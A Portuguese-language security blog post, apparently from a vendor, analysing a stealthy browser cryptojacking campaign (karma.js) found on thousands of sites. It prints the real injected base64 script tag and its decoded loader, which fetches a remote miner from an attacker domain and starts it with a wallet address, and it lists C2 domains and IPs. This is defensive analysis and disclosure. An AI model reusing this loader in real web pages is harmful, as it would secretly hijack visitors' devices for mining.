A ascensão e queda (e ressurgimento) da mineração no navegador
Foi em 2017 que o Coinhive surgiu em cena, incorporando um minerador de Monero diretamente em sites. Os usuários mineravam criptomoedas sem saber enquanto navegavam, transformando seus dispositivos em máquinas de lucro silenciosas para os donos dos sites.
Por um breve momento, parecia uma situação vantajosa para todos: os sites geravam receita sem anúncios, e os usuários escapavam de pop-ups intrusivos. Mas à medida que a taxa de hash do Coinhive disparou para 12% do poder total da rede Monero, a lentidão dos dispositivos e o consumo excessivo de bateria geraram indignação pública.
Em 2019, navegadores como Chrome e Firefox bloquearam o CryptoJacking no navegador, e o Coinhive encerrou suas atividades.
O cryptojacking, ao que tudo indicava, estava morto.
Mas em segurança cibernética, a morte raramente é permanente…
Uma queda misteriosa (e uma falha na matrix)
Aqui na cside, acompanhávamos campanhas de cryptojacking há anos. No final de 2024, nossos dashboards mostravam uma queda acentuada na atividade. Os payloads de mineração estavam sendo bloqueados com mais eficiência, e os atacantes pareciam ter migrado para pastos mais verdes, como ransomware ou roubo de credenciais.
Então, em uma terça-feira de rotina, nosso crawler sinalizou algo estranho: um arquivo JavaScript de terceiros carregado a partir de https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.
A própria URL era um sinal de alerta — um parâmetro aleatório, uma query sem sentido nosaj=faster.mo. Mas o que realmente disparou os alarmes foi o comportamento do arquivo:
- Nenhuma requisição de rede (à primeira vista).
- Nenhum pico óbvio de CPU nos testes em sandbox.
- Mesmo assim, nossa IA o sinalizou como malicioso.
Não era o cryptojacking barulhento e devorador de recursos de 2018. Era… silencioso.
Injeção no site:
<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>O Base64 decodifica para:
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)){ return; }
js = d.createElement(s); js.id = id;
js.onload = function(){
EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
};
js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));
O domínio trustisimportant[.]fun redireciona o usuário para yobox[.]store, de onde o JS malicioso é baixado.
Depurando o fantasma: Um tutorial básico de JS
Carregamos o script em um ambiente controlado para dissecá-lo. Veja como abordamos o processo:
Passo 1: Criar um sandbox de depuração seguro
Encapsulamos o JS em uma página HTML simples com uma Content Security Policy (CSP) para permitir a depuração sem acionar bloqueios do navegador:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
<title>Debugging Karma</title>
</head>
<body>
<script src="karma.js"></script> <!-- O arquivo malicioso -->
</body>
</html>
A diretiva unsafe-eval foi fundamental porque o script usava ofuscação semelhante ao eval para esconder sua lógica.
Passo 2: Inserir armadilhas de depuração
Adicionamos instruções debugger; em pontos-chave para pausar a execução no Chrome DevTools. Por exemplo:
function _0x6BE7() { // Uma função de configuração de WebSocket
debugger; // <-- A execução pausa aqui
if (ws != null) { ws.close(); }
// ... restante do código
}Passo 3: Decodificar a ofuscação
O script era um labirinto de variáveis renomeadas (por exemplo, _0x6AC1, _0x6B23) e strings codificadas. Usando a aba Sources no DevTools, nós:
- 1.Definimos breakpoints para percorrer a execução passo a passo.
- 2.Monitoramos variáveis para mapear seus propósitos reais (por exemplo,
_0x6B85verificava se o dispositivo era mobile). - 3.Rastreamos a atividade de rede pela aba Network, revelando conexões WebSocket para wss://lokilokitwo[.]de:10006.
A descoberta principal: Um minerador silencioso
O script não minerava criptomoedas diretamente. Em vez disso, ele:
- Verificava o suporte a WebAssembly (para avaliar o poder do dispositivo).
- Criava Web Workers em segundo plano (array
worcy) para executar tarefas de mineração sem bloquear a thread principal. - Usava WebSockets para receber comandos do servidor C2, ajustando a intensidade da mineração com base nas capacidades do dispositivo.
Era um minerador furtivo, projetado para evitar a detecção mantendo-se abaixo do radar tanto dos usuários quanto das ferramentas de segurança.
O cenário mais amplo: mais de 3.500 sites infectados
Uma investigação mais aprofundada revelou uma campanha de grande escala:
- Mais de 3.500 sites carregavam o karma[.]js malicioso.
- Infraestrutura reutilizada: O domínio trustisimportant[.]fun estava vinculado tanto a campanhas de cryptojacking quanto a campanhas de Magecart (skimming de cartão de crédito). Os atacantes estavam diversificando seus payloads.
- IPs principais: 89.58.14.251 e 104.21.80.1 atuavam como servidores de comando e controle (C2).
O lema da campanha? "Fique baixo, mine devagar." Ao limitar o uso de CPU e ocultar o tráfego em streams WebSocket, ela evitava os sinais característicos do cryptojacking tradicional.
CryptoJacking 101: O que é CryptoJacking e como funciona hoje?
O cryptojacking moderno evoluiu para um ataque silencioso e de múltiplos estágios:
- Scripts Dropper: Arquivos JS maliciosos (como karma[.]js) são injetados em sites.
- Verificações de Ambiente: O script verifica o suporte a WebAssembly, o tipo de dispositivo (mobile vs. desktop) e os recursos do navegador para otimizar a mineração.
- Criação de Workers: Web Workers são criados para executar tarefas de mineração em segundo plano, evitando sinais de alerta de desempenho.
- Comunicação com C2: WebSockets ou requisições HTTPS buscam tarefas de mineração e enviam os resultados para os servidores C2.
O objetivo não é drenar os dispositivos instantaneamente, mas sim sugar recursos de forma persistente ao longo do tempo, como um vampiro digital.
Conclusão: O jogo do gato e do rato continua
O cryptojacking não está morto — ele simplesmente ficou mais inteligente. Os atacantes agora priorizam a furtividade em vez do roubo bruto de recursos, usando ofuscação, WebSockets e reutilização de infraestrutura para permanecerem ocultos.
Essa tendência em ataques do lado do cliente está em crescimento contínuo.
A necessidade de uma prevenção adequada contra CryptoJacking é real e urgente.
